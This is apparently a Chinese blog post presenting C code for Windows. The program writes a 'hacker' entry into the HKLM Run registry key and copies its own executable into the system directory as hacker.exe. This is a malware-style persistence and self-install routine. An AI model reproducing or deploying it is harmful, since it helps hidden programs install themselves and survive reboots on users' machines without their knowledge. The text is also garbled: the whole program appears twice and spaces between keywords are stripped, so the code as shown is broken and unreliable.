#include<stdio.h>
#include<windows.h>
intmain(void)
{
charregname[]="Software\Microsoft\Windows\CurrentVersion\Run";
HKEYhkResult;
intret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/*注册表键名*/,0,REG_EXPAND_SZ,(unsignedchar*)"%systemroot%\hacker.exe",25);
if(ret==0){
printf("successtowriterunkey ");
RegCloseKey(hkResult);
}
else{
printf("failedtoopenregedit.%d ",ret);
return0;
}
charmodlepath[256];
charsyspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\hacker.exe"),1);
if(ret)
{
printf("%shasbeencopyedtosysdir%s ",modlepath,syspath);
}
elseprintf("%sisexisis",modlepath);
return0;
}
#include<windows.h>
intmain(void)
{
charregname[]="Software\Microsoft\Windows\CurrentVersion\Run";
HKEYhkResult;
intret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
ret=RegSetValueEx(hkResult,"hacker"/*注册表键名*/,0,REG_EXPAND_SZ,(unsignedchar*)"%systemroot%\hacker.exe",25);
if(ret==0){
printf("successtowriterunkey ");
RegCloseKey(hkResult);
}
else{
printf("failedtoopenregedit.%d ",ret);
return0;
}
charmodlepath[256];
charsyspath[256];
GetModuleFileName(0,modlepath,256);//取得程序名字
GetSystemDirectory(syspath,256);
ret=CopyFile(modlepath,strcat(syspath,"\hacker.exe"),1);
if(ret)
{
printf("%shasbeencopyedtosysdir%s ",modlepath,syspath);
}
elseprintf("%sisexisis",modlepath);
return0;
}
本文提供了一个使用C语言通过操作Windows注册表来设置开机启动项的示例代码。该示例展示了如何打开注册表键、写入键值以及复制文件到系统目录的过程。
136

被折叠的 条评论
为什么被折叠?



